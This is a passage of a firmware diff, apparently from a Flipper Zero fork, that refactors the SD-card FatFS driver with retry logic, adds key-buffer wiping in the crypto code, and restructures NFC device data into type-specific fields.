uint8_t" Function,-,vasiprintf,int,"char**, const char*, __gnuc_va_list" Function,-,vasniprintf,char*,"char*, size_t*, const char*, __gnuc_va_list" @@ -4769,9 +4796,7 @@ Function,-,y1f,float,float Function,-,yn,double,"int, double" Function,-,ynf,float,"int, float" Variable,-,AHBPrescTable,const uint32_t[16], -Variable,-,AID,AIDSet, Variable,-,APBPrescTable,const uint32_t[8], -Variable,-,EF,const EFFormat, Variable,-,ITM_RxBuffer,volatile int32_t, Variable,-,MSIRangeTable,const uint32_t[16], Variable,-,SmpsPrescalerTable,const uint32_t[4][6], @@ -4785,6 +4810,7 @@ Variable,-,_sys_nerr,int, Variable,-,_timezone,long, Variable,-,_tzname,char*[2], Variable,+,cli_vcp,CliSession, +Variable,+,firmware_api_interface,const ElfApiInterface*, Variable,+,furi_hal_i2c_bus_external,FuriHalI2cBus, Variable,+,furi_hal_i2c_bus_power,FuriHalI2cBus, Variable,+,furi_hal_i2c_handle_external,FuriHalI2cBusHandle, diff --git a/firmware/targets/f7/fatfs/fatfs.c b/firmware/targets/f7/fatfs/fatfs.c index 1aa5fe44b..66ddbca06 100644 --- a/firmware/targets/f7/fatfs/fatfs.c +++ b/firmware/targets/f7/fatfs/fatfs.c @@ -18,22 +18,13 @@ #include "fatfs.h" -uint8_t retUSER; /* Return value for USER */ -char USERPath[4]; /* USER logical drive path */ -FATFS USERFatFS; /* File system object for USER logical drive */ -FIL USERFile; /* File object for USER */ +/** logical drive path */ +char fatfs_path[4]; +/** File system object */ +FATFS fatfs_object; -/* USER CODE BEGIN Variables */ - -/* USER CODE END Variables */ - -void MX_FATFS_Init(void) { - /*## FatFS: Link the USER driver ###########################*/ - retUSER = FATFS_LinkDriver(&USER_Driver, USERPath); - - /* USER CODE BEGIN Init */ - /* additional user code for init */ - /* USER CODE END Init */ +void fatfs_init(void) { + FATFS_LinkDriver(&sd_fatfs_driver, fatfs_path); } /** @@ -42,13 +33,7 @@ void MX_FATFS_Init(void) { * @retval Time in DWORD */ DWORD get_fattime(void) { - /* USER CODE BEGIN get_fattime */ return 0; - /* USER CODE END get_fattime */ } -/* USER CODE BEGIN Application */ - -/* USER CODE END Application */ - /************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ diff --git a/firmware/targets/f7/fatfs/fatfs.h b/firmware/targets/f7/fatfs/fatfs.h index a0775d88b..199f0150f 100644 --- a/firmware/targets/f7/fatfs/fatfs.h +++ b/firmware/targets/f7/fatfs/fatfs.h @@ -16,34 +16,24 @@ ****************************************************************************** */ -/* Define to prevent recursive inclusion -------------------------------------*/ -#ifndef __fatfs_H -#define __fatfs_H +#pragma once + +#include "fatfs/ff.h" +#include "fatfs/ff_gen_drv.h" +#include "user_diskio.h" + #ifdef __cplusplus extern "C" { #endif -#include "fatfs/ff.h" -#include "fatfs/ff_gen_drv.h" -#include "user_diskio.h" /* defines USER_Driver as external */ +/** File system object */ +extern FATFS fatfs_object; -/* USER CODE BEGIN Includes */ +/** Init file system driver */ +void fatfs_init(void); -/* USER CODE END Includes */ - -extern uint8_t retUSER; /* Return value for USER */ -extern char USERPath[4]; /* USER logical drive path */ -extern FATFS USERFatFS; /* File system object for USER logical drive */ -extern FIL USERFile; /* File object for USER */ - -void MX_FATFS_Init(void); - -/* USER CODE BEGIN Prototypes */ - -/* USER CODE END Prototypes */ #ifdef __cplusplus } #endif -#endif /*__fatfs_H */ /************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ diff --git a/firmware/targets/f7/fatfs/ffconf.h b/firmware/targets/f7/fatfs/ffconf.h index 9410cedc8..a44521550 100644 --- a/firmware/targets/f7/fatfs/ffconf.h +++ b/firmware/targets/f7/fatfs/ffconf.h @@ -164,7 +164,7 @@ /* USER CODE BEGIN Volumes */ #define _STR_VOLUME_ID 0 /* 0:Use only 0-9 for drive ID, 1:Use strings for drive ID */ -#define _VOLUME_STRS "RAM", "NAND", "CF", "SD1", "SD2", "USB1", "USB2", "USB3" +#define _VOLUME_STRS "SD" /* _STR_VOLUME_ID switches string support of volume ID. / When _STR_VOLUME_ID is set to 1, also pre-defined strings can be used as drive / number in the path name. _VOLUME_STRS defines the drive ID strings for each diff --git a/firmware/targets/f7/fatfs/syscall.c b/firmware/targets/f7/fatfs/syscall.c deleted file mode 100644 index 00eb8aede..000000000 --- a/firmware/targets/f7/fatfs/syscall.c +++ /dev/null @@ -1,116 +0,0 @@ -/*------------------------------------------------------------------------*/ -/* Sample code of OS dependent controls for FatFs */ -/* (C)ChaN, 2014 */ -/* Portions COPYRIGHT 2017 STMicroelectronics */ -/* Portions Copyright (C) 2014, ChaN, all right reserved */ -/*------------------------------------------------------------------------*/ - -/** - ****************************************************************************** - * @attention - * - * Copyright (c) 2017 STMicroelectronics. All rights reserved. - * - * This software component is licensed by ST under BSD 3-Clause license, - * the "License"; You may not use this file except in compliance with the - * License. You may obtain a copy of the License at: - * opensource.org/licenses/BSD-3-Clause - * - ****************************************************************************** -**/ - -#include "fatfs/ff.h" - -#if _FS_REENTRANT -/*------------------------------------------------------------------------*/ -/* Create a Synchronization Object */ -/*------------------------------------------------------------------------*/ -/* This function is called in f_mount() function to create a new -/ synchronization object, such as semaphore and mutex. When a 0 is returned, -/ the f_mount() function fails with FR_INT_ERR. -*/ - -int ff_cre_syncobj(/* 1:Function succeeded, 0:Could not create the sync object */ - BYTE vol, /* Corresponding volume (logical drive number) */ - _SYNC_t* sobj /* Pointer to return the created sync object */ -) { - int ret; - - //osSemaphoreDef(SEM); - //*sobj = osSemaphoreCreate(osSemaphore(SEM), 1); - *sobj = furi_mutex_alloc(FuriMutexTypeNormal); - ret = (*sobj != NULL); - - return ret; -} - -/*------------------------------------------------------------------------*/ -/* Delete a Synchronization Object */ -/*------------------------------------------------------------------------*/ -/* This function is called in f_mount() function to delete a synchronization -/ object that created with ff_cre_syncobj() function. When a 0 is returned, -/ the f_mount() function fails with FR_INT_ERR. -*/ - -int ff_del_syncobj(/* 1:Function succeeded, 0:Could not delete due to any error */ - _SYNC_t sobj /* Sync object tied to the logical drive to be deleted */ -) { - furi_mutex_free(sobj); - return 1; -} - -/*------------------------------------------------------------------------*/ -/* Request Grant to Access the Volume */ -/*------------------------------------------------------------------------*/ -/* This function is called on entering file functions to lock the volume. -/ When a 0 is returned, the file function fails with FR_TIMEOUT. -*/ - -int ff_req_grant(/* 1:Got a grant to access the volume, 0:Could not get a grant */ - _SYNC_t sobj /* Sync object to wait */ -) { - int ret = 0; - - if(furi_mutex_acquire(sobj, _FS_TIMEOUT) == FuriStatusOk) { - ret = 1; - } - - return ret; -} - -/*------------------------------------------------------------------------*/ -/* Release Grant to Access the Volume */ -/*------------------------------------------------------------------------*/ -/* This function is called on leaving file functions to unlock the volume. -*/ - -void ff_rel_grant(_SYNC_t sobj /* Sync object to be signaled */ -) { - furi_mutex_release(sobj); -} - -#endif - -#if _USE_LFN == 3 /* LFN with a working buffer on the heap */ -/*------------------------------------------------------------------------*/ -/* Allocate a memory block */ -/*------------------------------------------------------------------------*/ -/* If a NULL is returned, the file function fails with FR_NOT_ENOUGH_CORE. -*/ - -void* ff_memalloc(/* Returns pointer to the allocated memory block */ - UINT msize /* Number of bytes to allocate */ -) { - return ff_malloc(msize); /* Allocate a new memory block with POSIX API */ -} - -/*------------------------------------------------------------------------*/ -/* Free a memory block */ -/*------------------------------------------------------------------------*/ - -void ff_memfree(void* mblock /* Pointer to the memory block to free */ -) { - ff_free(mblock); /* Discard the memory block with POSIX API */ -} - -#endif diff --git a/firmware/targets/f7/fatfs/user_diskio.c b/firmware/targets/f7/fatfs/user_diskio.c index d7be09c53..8b693886f 100644 --- a/firmware/targets/f7/fatfs/user_diskio.c +++ b/firmware/targets/f7/fatfs/user_diskio.c @@ -18,33 +18,13 @@ */ /* USER CODE END Header */ -#ifdef USE_OBSOLETE_USER_CODE_SECTION_0 -/* - * Warning: the user section 0 is no more in use (starting from CubeMx version 4.16.0) - * To be suppressed in the future. - * Kept to ensure backward compatibility with previous CubeMx versions when - * migrating projects. - * User code previously added there should be copied in the new user sections before - * the section contents can be deleted. - */ -/* USER CODE BEGIN 0 */ -/* USER CODE END 0 */ -#endif - -/* USER CODE BEGIN DECL */ - -/* Includes ------------------------------------------------------------------*/ #include "user_diskio.h" #include #include "sector_cache.h" -/* Private typedef -----------------------------------------------------------*/ -/* Private define ------------------------------------------------------------*/ -/* Private variables ---------------------------------------------------------*/ -/* Disk status */ static volatile DSTATUS Stat = STA_NOINIT; -static DSTATUS User_CheckStatus(BYTE lun) { +static DSTATUS driver_check_status(BYTE lun) { UNUSED(lun); Stat = STA_NOINIT; if(sd_get_card_state() == SdSpiStatusOK) { @@ -54,32 +34,20 @@ static DSTATUS User_CheckStatus(BYTE lun) { return Stat; } -/* USER CODE END DECL */ +static DSTATUS driver_initialize(BYTE pdrv); +static DSTATUS driver_status(BYTE pdrv); +static DRESULT driver_read(BYTE pdrv, BYTE* buff, DWORD sector, UINT count); +static DRESULT driver_write(BYTE pdrv, const BYTE* buff, DWORD sector, UINT count); +static DRESULT driver_ioctl(BYTE pdrv, BYTE cmd, void* buff); -/* Private function prototypes -----------------------------------------------*/ -DSTATUS USER_initialize(BYTE pdrv); -DSTATUS USER_status(BYTE pdrv); -DRESULT USER_read(BYTE pdrv, BYTE* buff, DWORD sector, UINT count); -#if _USE_WRITE == 1 -DRESULT USER_write(BYTE pdrv, const BYTE* buff, DWORD sector, UINT count); -#endif /* _USE_WRITE == 1 */ -#if _USE_IOCTL == 1 -DRESULT USER_ioctl(BYTE pdrv, BYTE cmd, void* buff); -#endif /* _USE_IOCTL == 1 */ - -Diskio_drvTypeDef USER_Driver = { - USER_initialize, - USER_status, - USER_read, -#if _USE_WRITE - USER_write, -#endif /* _USE_WRITE == 1 */ -#if _USE_IOCTL == 1 - USER_ioctl, -#endif /* _USE_IOCTL == 1 */ +Diskio_drvTypeDef sd_fatfs_driver = { + driver_initialize, + driver_status, + driver_read, + driver_write, + driver_ioctl, }; -/* Private functions ---------------------------------------------------------*/ static inline bool sd_cache_get(uint32_t address, uint32_t* data) { uint8_t* cached_data = sector_cache_get(address); if(cached_data) { @@ -101,24 +69,73 @@ static inline void sd_cache_invalidate_all() { sector_cache_init(); } +static bool sd_device_read(uint32_t* buff, uint32_t sector, uint32_t count) { + bool result = false; + + furi_hal_spi_acquire(&furi_hal_spi_bus_handle_sd_fast); + furi_hal_sd_spi_handle = &furi_hal_spi_bus_handle_sd_fast; + + if(sd_read_blocks(buff, sector, count, SD_TIMEOUT_MS) == SdSpiStatusOK) { + FuriHalCortexTimer timer = furi_hal_cortex_timer_get(SD_TIMEOUT_MS * 1000); + + /* wait until the read operation is finished */ + result = true; + while(sd_get_card_state() != SdSpiStatusOK) { + if(furi_hal_cortex_timer_is_expired(timer)) { + result = false; + break; + } + } + } + + furi_hal_sd_spi_handle = NULL; + furi_hal_spi_release(&furi_hal_spi_bus_handle_sd_fast); + + return result; +} + +static bool sd_device_write(uint32_t* buff, uint32_t sector, uint32_t count) { + bool result = false; + + furi_hal_spi_acquire(&furi_hal_spi_bus_handle_sd_fast); + furi_hal_sd_spi_handle = &furi_hal_spi_bus_handle_sd_fast; + + if(sd_write_blocks(buff, sector, count, SD_TIMEOUT_MS) == SdSpiStatusOK) { + FuriHalCortexTimer timer = furi_hal_cortex_timer_get(SD_TIMEOUT_MS * 1000); + + /* wait until the Write operation is finished */ + result = true; + while(sd_get_card_state() != SdSpiStatusOK) { + if(furi_hal_cortex_timer_is_expired(timer)) { + sd_cache_invalidate_all(); + + result = false; + break; + } + } + } + + furi_hal_sd_spi_handle = NULL; + furi_hal_spi_release(&furi_hal_spi_bus_handle_sd_fast); + + return result; +} + /** * @brief Initializes a Drive * @param pdrv: Physical drive number (0..) * @retval DSTATUS: Operation status */ -DSTATUS USER_initialize(BYTE pdrv) { - /* USER CODE BEGIN INIT */ - +static DSTATUS driver_initialize(BYTE pdrv) { furi_hal_spi_acquire(&furi_hal_spi_bus_handle_sd_fast); furi_hal_sd_spi_handle = &furi_hal_spi_bus_handle_sd_fast; - DSTATUS status = User_CheckStatus(pdrv); + DSTATUS status = driver_check_status(pdrv); furi_hal_sd_spi_handle = NULL; furi_hal_spi_release(&furi_hal_spi_bus_handle_sd_fast); return status; - /* USER CODE END INIT */ } /** @@ -126,11 +143,9 @@ DSTATUS USER_initialize(BYTE pdrv) { * @param pdrv: Physical drive number (0..) * @retval DSTATUS: Operation status */ -DSTATUS USER_status(BYTE pdrv) { - /* USER CODE BEGIN STATUS */ +static DSTATUS driver_status(BYTE pdrv) { UNUSED(pdrv); return Stat; - /* USER CODE END STATUS */ } /** @@ -141,11 +156,10 @@ DSTATUS USER_status(BYTE pdrv) { * @param count: Number of sectors to read (1..128) * @retval DRESULT: Operation result */ -DRESULT USER_read(BYTE pdrv, BYTE* buff, DWORD sector, UINT count) { - /* USER CODE BEGIN READ */ +static DRESULT driver_read(BYTE pdrv, BYTE* buff, DWORD sector, UINT count) { UNUSED(pdrv); - DRESULT res = RES_ERROR; + bool result; bool single_sector = count == 1; if(single_sector) { @@ -154,32 +168,33 @@ DRESULT USER_read(BYTE pdrv, BYTE* buff, DWORD sector, UINT count) { } } - furi_hal_spi_acquire(&furi_hal_spi_bus_handle_sd_fast); - furi_hal_sd_spi_handle = &furi_hal_spi_bus_handle_sd_fast; + result = sd_device_read((uint32_t*)buff, (uint32_t)(sector), count); - if(sd_read_blocks((uint32_t*)buff, (uint32_t)(sector), count, SD_TIMEOUT_MS) == - SdSpiStatusOK) { - FuriHalCortexTimer timer = furi_hal_cortex_timer_get(SD_TIMEOUT_MS * 1000); + if(!result) { + uint8_t counter = sd_max_mount_retry_count(); - /* wait until the read operation is finished */ - res = RES_OK; - while(sd_get_card_state() != SdSpiStatusOK) { - if(furi_hal_cortex_timer_is_expired(timer)) { - res = RES_ERROR; - break; + while(result == false && counter > 0 && hal_sd_detect()) { + SdSpiStatus status; + + if((counter % 2) == 0) { + // power reset sd card + status = sd_init(true); + } else { + status = sd_init(false); } + + if(status == SdSpiStatusOK) { + result = sd_device_read((uint32_t*)buff, (uint32_t)(sector), count); + } + counter--; } } - furi_hal_sd_spi_handle = NULL; - furi_hal_spi_release(&furi_hal_spi_bus_handle_sd_fast); - - if(single_sector && res == RES_OK) { + if(single_sector && result == true) { sd_cache_put(sector, (uint32_t*)buff); } - return res; - /* USER CODE END READ */ + return result ? RES_OK : RES_ERROR; } /** @@ -190,41 +205,36 @@ DRESULT USER_read(BYTE pdrv, BYTE* buff, DWORD sector, UINT count) { * @param count: Number of sectors to write (1..128) * @retval DRESULT: Operation result */ -#if _USE_WRITE == 1 -DRESULT USER_write(BYTE pdrv, const BYTE* buff, DWORD sector, UINT count) { - /* USER CODE BEGIN WRITE */ - /* USER CODE HERE */ +static DRESULT driver_write(BYTE pdrv, const BYTE* buff, DWORD sector, UINT count) { UNUSED(pdrv); - DRESULT res = RES_ERROR; + bool result; sd_cache_invalidate_range(sector, sector + count); - furi_hal_spi_acquire(&furi_hal_spi_bus_handle_sd_fast); - furi_hal_sd_spi_handle = &furi_hal_spi_bus_handle_sd_fast; + result = sd_device_write((uint32_t*)buff, (uint32_t)(sector), count); - if(sd_write_blocks((uint32_t*)buff, (uint32_t)(sector), count, SD_TIMEOUT_MS) == - SdSpiStatusOK) { - FuriHalCortexTimer timer = furi_hal_cortex_timer_get(SD_TIMEOUT_MS * 1000); + if(!result) { + uint8_t counter = sd_max_mount_retry_count(); - /* wait until the Write operation is finished */ - res = RES_OK; - while(sd_get_card_state() != SdSpiStatusOK) { - if(furi_hal_cortex_timer_is_expired(timer)) { - sd_cache_invalidate_all(); + while(result == false && counter > 0 && hal_sd_detect()) { + SdSpiStatus status; - res = RES_ERROR; - break; + if((counter % 2) == 0) { + // power reset sd card + status = sd_init(true); + } else { + status = sd_init(false); } + + if(status == SdSpiStatusOK) { + result = sd_device_write((uint32_t*)buff, (uint32_t)(sector), count); + } + counter--; } } - furi_hal_sd_spi_handle = NULL; - furi_hal_spi_release(&furi_hal_spi_bus_handle_sd_fast); - - return res; - /* USER CODE END WRITE */ + return result ? RES_OK : RES_ERROR; } -#endif /* _USE_WRITE == 1 */ /** * @brief I/O control operation @@ -233,9 +243,7 @@ DRESULT USER_write(BYTE pdrv, const BYTE* buff, DWORD sector, UINT count) { * @param *buff: Buffer to send/receive control data * @retval DRESULT: Operation result */ -#if _USE_IOCTL == 1 -DRESULT USER_ioctl(BYTE pdrv, BYTE cmd, void* buff) { - /* USER CODE BEGIN IOCTL */ +static DRESULT driver_ioctl(BYTE pdrv, BYTE cmd, void* buff) { UNUSED(pdrv); DRESULT res = RES_ERROR; SD_CardInfo CardInfo; @@ -280,8 +288,6 @@ DRESULT USER_ioctl(BYTE pdrv, BYTE cmd, void* buff) { furi_hal_spi_release(&furi_hal_spi_bus_handle_sd_fast); return res; - /* USER CODE END IOCTL */ } -#endif /* _USE_IOCTL == 1 */ /************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ diff --git a/firmware/targets/f7/fatfs/user_diskio.h b/firmware/targets/f7/fatfs/user_diskio.h index 12e0f27dc..c49f32de6 100644 --- a/firmware/targets/f7/fatfs/user_diskio.h +++ b/firmware/targets/f7/fatfs/user_diskio.h @@ -19,30 +19,19 @@ */ /* USER CODE END Header */ -/* Define to prevent recursive inclusion -------------------------------------*/ -#ifndef __USER_DISKIO_H -#define __USER_DISKIO_H +#pragma once #ifdef __cplusplus extern "C" { #endif -/* USER CODE BEGIN 0 */ - -/* Includes ------------------------------------------------------------------*/ #include "sd_spi_io.h" #include "fatfs/ff_gen_drv.h" -/* Exported types ------------------------------------------------------------*/ -/* Exported constants --------------------------------------------------------*/ -/* Exported functions ------------------------------------------------------- */ -extern Diskio_drvTypeDef USER_Driver; -/* USER CODE END 0 */ +extern Diskio_drvTypeDef sd_fatfs_driver; #ifdef __cplusplus } #endif -#endif /* __USER_DISKIO_H */ - /************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ diff --git a/firmware/targets/f7/furi_hal/furi_hal.c b/firmware/targets/f7/furi_hal/furi_hal.c index a887de5cd..c9b4c8088 100644 --- a/firmware/targets/f7/furi_hal/furi_hal.c +++ b/firmware/targets/f7/furi_hal/furi_hal.c @@ -4,35 +4,24 @@ #include -#include - #define TAG "FuriHal" void furi_hal_init_early() { furi_hal_cortex_init_early(); - furi_hal_clock_init_early(); - furi_hal_resources_init_early(); - furi_hal_os_init(); - furi_hal_spi_config_init_early(); - furi_hal_i2c_init_early(); furi_hal_light_init(); - furi_hal_rtc_init_early(); } void furi_hal_deinit_early() { furi_hal_rtc_deinit_early(); - furi_hal_i2c_deinit_early(); furi_hal_spi_config_deinit_early(); - furi_hal_resources_deinit_early(); - furi_hal_clock_deinit_early(); } @@ -41,49 +30,28 @@ void furi_hal_init() { furi_hal_clock_init(); furi_hal_console_init(); furi_hal_rtc_init(); - furi_hal_interrupt_init(); - furi_hal_flash_init(); - furi_hal_resources_init(); - FURI_LOG_I(TAG, "GPIO OK"); - furi_hal_version_init(); - furi_hal_spi_config_init(); furi_hal_spi_dma_init(); - furi_hal_ibutton_init(); - FURI_LOG_I(TAG, "iButton OK"); furi_hal_speaker_init(); - FURI_LOG_I(TAG, "Speaker OK"); - furi_hal_crypto_init(); - furi_hal_i2c_init(); - - // High Level furi_hal_power_init(); furi_hal_light_init(); - furi_hal_bt_init(); furi_hal_memory_init(); - furi_hal_compress_icon_init(); #ifndef FURI_RAM_EXEC - // USB furi_hal_usb_init(); - FURI_LOG_I(TAG, "USB OK"); furi_hal_vibro_init(); furi_hal_subghz_init(); furi_hal_nfc_init(); furi_hal_rfid_init(); #endif - - // FatFS driver initialization - MX_FATFS_Init(); - FURI_LOG_I(TAG, "FATFS OK"); } void furi_hal_switch(void* address) { diff --git a/firmware/targets/f7/furi_hal/furi_hal_crypto.c b/firmware/targets/f7/furi_hal/furi_hal_crypto.c index e0ed3ab9b..0026636a4 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_crypto.c +++ b/firmware/targets/f7/furi_hal/furi_hal_crypto.c @@ -80,9 +80,11 @@ static bool furi_hal_crypto_generate_unique_keys(uint8_t start_slot, uint8_t end key.data = key_data; furi_hal_random_fill_buf(key_data, 32); if(!furi_hal_crypto_store_add_key(&key, &slot)) { + explicit_bzero(key_data, sizeof(key_data)); FURI_LOG_E(TAG, "Error writing key to slot %u", slot); return false; } + explicit_bzero(key_data, sizeof(key_data)); } return true; } @@ -176,6 +178,7 @@ bool furi_hal_crypto_store_add_key(FuriHalCryptoKey* key, uint8_t* slot) { memcpy(pParam.KeyData, key->data, key_data_size); SHCI_CmdStatus_t shci_state = SHCI_C2_FUS_StoreUsrKey(&pParam, slot); + explicit_bzero(&pParam, sizeof(pParam)); furi_check(furi_mutex_release(furi_hal_crypto_mutex) == FuriStatusOk); return (shci_state == SHCI_Success); } diff --git a/firmware/targets/f7/furi_hal/furi_hal_ibutton.c b/firmware/targets/f7/furi_hal/furi_hal_ibutton.c index c05cd69a8..f19fd0a0e 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_ibutton.c +++ b/firmware/targets/f7/furi_hal/furi_hal_ibutton.c @@ -7,6 +7,7 @@ #include +#define TAG "FuriHalIbutton" #define FURI_HAL_IBUTTON_TIMER TIM1 #define FURI_HAL_IBUTTON_TIMER_IRQ FuriHalInterruptIdTim1UpTim16 @@ -33,6 +34,8 @@ static void furi_hal_ibutton_emulate_isr() { void furi_hal_ibutton_init() { furi_hal_ibutton = malloc(sizeof(FuriHalIbutton)); furi_hal_ibutton->state = FuriHalIbuttonStateIdle; + + FURI_LOG_I(TAG, "Init OK"); } void furi_hal_ibutton_emulate_start( diff --git a/firmware/targets/f7/furi_hal/furi_hal_light.c b/firmware/targets/f7/furi_hal/furi_hal_light.c index 83e1603b7..7d303cfaa 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_light.c +++ b/firmware/targets/f7/furi_hal/furi_hal_light.c @@ -3,6 +3,8 @@ #include #include #include +#include +#include #define LED_CURRENT_RED 50 #define LED_CURRENT_GREEN 50 @@ -42,9 +44,14 @@ void furi_hal_light_set(Light light, uint8_t value) { lp5562_set_channel_value(&furi_hal_i2c_handle_power, LP5562ChannelBlue, value); } if(light & LightBacklight) { - uint8_t prev = lp5562_get_channel_value(&furi_hal_i2c_handle_power, LP5562ChannelWhite); - lp5562_execute_ramp( - &furi_hal_i2c_handle_power, LP5562Engine1, LP5562ChannelWhite, prev, value, 100); + if(XTREME_SETTINGS()->rgb_backlight) { + rgb_backlight_update(value); + } else { + uint8_t prev = + lp5562_get_channel_value(&furi_hal_i2c_handle_power, LP5562ChannelWhite); + lp5562_execute_ramp( + &furi_hal_i2c_handle_power, LP5562Engine1, LP5562ChannelWhite, prev, value, 100); + } } furi_hal_i2c_release(&furi_hal_i2c_handle_power); } diff --git a/firmware/targets/f7/furi_hal/furi_hal_nfc.c b/firmware/targets/f7/furi_hal/furi_hal_nfc.c index 8910d887b..ed04a206f 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_nfc.c +++ b/firmware/targets/f7/furi_hal/furi_hal_nfc.c @@ -134,21 +134,36 @@ bool furi_hal_nfc_detect(FuriHalNfcDevData* nfc_data, uint32_t timeout) { if(detected) { if(dev_list[0].type == RFAL_NFC_LISTEN_TYPE_NFCA) { nfc_data->type = FuriHalNfcTypeA; - nfc_data->atqa[0] = dev_list[0].dev.nfca.sensRes.anticollisionInfo; - nfc_data->atqa[1] = dev_list[0].dev.nfca.sensRes.platformInfo; - nfc_data->sak = dev_list[0].dev.nfca.selRes.sak; + nfc_data->a_data.atqa[0] = dev_list[0].dev.nfca.sensRes.anticollisionInfo; + nfc_data->a_data.atqa[1] = dev_list[0].dev.nfca.sensRes.platformInfo; + nfc_data->a_data.sak = dev_list[0].dev.nfca.selRes.sak; uint8_t* cuid_start = dev_list[0].nfcid; if(dev_list[0].nfcidLen == 7) { cuid_start = &dev_list[0].nfcid[3]; } - nfc_data->cuid = (cuid_start[0] << 24) | (cuid_start[1] << 16) | (cuid_start[2] << 8) | - (cuid_start[3]); + nfc_data->a_data.cuid = (cuid_start[0] << 24) | (cuid_start[1] << 16) | + (cuid_start[2] << 8) | (cuid_start[3]); } else if( dev_list[0].type == RFAL_NFC_LISTEN_TYPE_NFCB || dev_list[0].type == RFAL_NFC_LISTEN_TYPE_ST25TB) { nfc_data->type = FuriHalNfcTypeB; } else if(dev_list[0].type == RFAL_NFC_LISTEN_TYPE_NFCF) { nfc_data->type = FuriHalNfcTypeF; + furi_assert(dev_list[0].nfcidLen == RFAL_NFCF_NFCID2_LEN); + memcpy( + &nfc_data->f_data.pmm[0], + dev_list[0].dev.nfcf.sensfRes.PAD0, + RFAL_NFCF_SENSF_RES_PAD0_LEN); + memcpy( + &nfc_data->f_data.pmm[RFAL_NFCF_SENSF_RES_PAD0_LEN], + dev_list[0].dev.nfcf.sensfRes.PAD1, + RFAL_NFCF_SENSF_RES_PAD1_LEN); + nfc_data->f_data.pmm[RFAL_NFCF_SENSF_RES_PAD0_LEN + RFAL_NFCF_SENSF_RES_PAD1_LEN] = + dev_list[0].dev.nfcf.sensfRes.MRTIcheck; + nfc_data->f_data.pmm[RFAL_NFCF_SENSF_RES_PAD0_LEN + RFAL_NFCF_SENSF_RES_PAD1_LEN + 1] = + dev_list[0].dev.nfcf.sensfRes.MRTIupdate; + nfc_data->f_data.pmm[RFAL_NFCF_SENSF_RES_PAD0_LEN + RFAL_NFCF_SENSF_RES_PAD1_LEN + 2] = + dev_list[0].dev.nfcf.sensfRes.PAD2; } else if(dev_list[0].type == RFAL_NFC_LISTEN_TYPE_NFCV) { nfc_data->type = FuriHalNfcTypeV; } @@ -371,15 +386,15 @@ void furi_hal_nfc_listen_start(FuriHalNfcDevData* nfc_data) { // Write PT Memory uint8_t pt_memory[15] = {}; memcpy(pt_memory, nfc_data->uid, nfc_data->uid_len); - pt_memory[10] = nfc_data->atqa[0]; - pt_memory[11] = nfc_data->atqa[1]; + pt_memory[10] = nfc_data->a_data.atqa[0]; + pt_memory[11] = nfc_data->a_data.atqa[1]; if(nfc_data->uid_len == 4) { - pt_memory[12] = nfc_data->sak & ~FURI_HAL_NFC_UID_INCOMPLETE; + pt_memory[12] = nfc_data->a_data.sak & ~FURI_HAL_NFC_UID_INCOMPLETE; } else { pt_memory[12] = FURI_HAL_NFC_UID_INCOMPLETE; } - pt_memory[13] = nfc_data->sak & ~FURI_HAL_NFC_UID_INCOMPLETE; - pt_memory[14] = nfc_data->sak & ~FURI_HAL_NFC_UID_INCOMPLETE; + pt_memory[13] = nfc_data->a_data.sak & ~FURI_HAL_NFC_UID_INCOMPLETE; + pt_memory[14] = nfc_data->a_data.sak & ~FURI_HAL_NFC_UID_INCOMPLETE; st25r3916WritePTMem(pt_memory, sizeof(pt_memory)); // Go to sense diff --git a/firmware/targets/f7/furi_hal/furi_hal_nfc.h b/firmware/targets/f7/furi_hal/furi_hal_nfc.h index dc3f873f3..0d3a043fa 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_nfc.h +++ b/firmware/targets/f7/furi_hal/furi_hal_nfc.h @@ -69,14 +69,25 @@ typedef enum { FuriHalNfcInterfaceNfcDep, } FuriHalNfcInterface; +typedef struct { + uint32_t cuid; + uint8_t atqa[2]; + uint8_t sak; +} FuriHalNfcADevData; + +typedef struct { + uint8_t pmm[8]; +} FuriHalNfcFDevData; + typedef struct { FuriHalNfcType type; FuriHalNfcInterface interface; uint8_t uid_len; uint8_t uid[10]; - uint32_t cuid; - uint8_t atqa[2]; - uint8_t sak; + union { + FuriHalNfcADevData a_data; + FuriHalNfcFDevData f_data; + }; } FuriHalNfcDevData; typedef void ( diff --git a/firmware/targets/f7/furi_hal/furi_hal_resources.c b/firmware/targets/f7/furi_hal/furi_hal_resources.c index 4e63263cf..5cf44a6a8 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_resources.c +++ b/firmware/targets/f7/furi_hal/furi_hal_resources.c @@ -4,6 +4,8 @@ #include #include +#define TAG "FuriHalResources" + const GpioPin vibro_gpio = {.port = VIBRO_GPIO_Port, .pin = VIBRO_Pin}; const GpioPin ibutton_gpio = {.port = iBTN_GPIO_Port, .pin = iBTN_Pin}; @@ -195,6 +197,8 @@ void furi_hal_resources_init() { NVIC_SetPriority(EXTI15_10_IRQn, NVIC_EncodePriority(NVIC_GetPriorityGrouping(), 5, 0)); NVIC_EnableIRQ(EXTI15_10_IRQn); + + FURI_LOG_I(TAG, "Init OK"); } int32_t furi_hal_resources_get_ext_pin_number(const GpioPin* gpio) { diff --git a/firmware/targets/f7/furi_hal/furi_hal_subghz.c b/firmware/targets/f7/furi_hal/furi_hal_subghz.c index 77cedf109..ce4b8f0db 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_subghz.c +++ b/firmware/targets/f7/furi_hal/furi_hal_subghz.c @@ -93,10 +93,10 @@ bool furi_hal_subghz_enable_ext_power(void) { } if(furi_hal_subghz.radio_type != SubGhzRadioInternal) { uint8_t attempts = 0; - while(!furi_hal_power_is_otg_enabled() && attempts++ < 2) { + while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) { furi_hal_power_enable_otg(); //CC1101 power-up time - furi_delay_ms(5); + furi_delay_ms(10); } } return furi_hal_power_is_otg_enabled(); @@ -119,7 +119,7 @@ bool furi_hal_subghz_check_radio(void) { if((ver != 0) && (ver != 255)) { FURI_LOG_D(TAG, "Radio check ok"); } else { - FURI_LOG_D(TAG, "Radio check failed"); + FURI_LOG_D(TAG, "Radio check failed, revert to default"); result = false; } @@ -182,7 +182,7 @@ bool furi_hal_subghz_init_check(void) { if(result) { 